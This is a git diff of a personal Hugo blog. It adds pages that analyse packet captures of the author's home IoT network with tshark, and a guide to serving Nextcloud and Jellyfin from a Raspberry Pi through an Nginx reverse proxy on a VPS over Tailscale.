    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/dnsmasq/page/1/index.html b/public-clearnet/tags/dnsmasq/page/1/index.html new file mode 100644 index 0000000..06010a4 --- /dev/null +++ b/public-clearnet/tags/dnsmasq/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/dnsmasq/ + \ No newline at end of file diff --git a/public-clearnet/tags/docker/index.html b/public-clearnet/tags/docker/index.html new file mode 100644 index 0000000..277ba66 --- /dev/null +++ b/public-clearnet/tags/docker/index.html @@ -0,0 +1,22 @@ +Docker | AlipourIm journeys +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    December 21, 2025 · 9 min · Iman Alipour +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/docker/index.xml b/public-clearnet/tags/docker/index.xml new file mode 100644 index 0000000..03adbf5 --- /dev/null +++ b/public-clearnet/tags/docker/index.xml @@ -0,0 +1,776 @@ +Docker on AlipourIm journeyshttps://blog.alipour.eu/tags/docker/Recent content in Docker on AlipourIm journeysHugo -- 0.146.0enMon, 02 Feb 2026 00:00:00 +0000Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
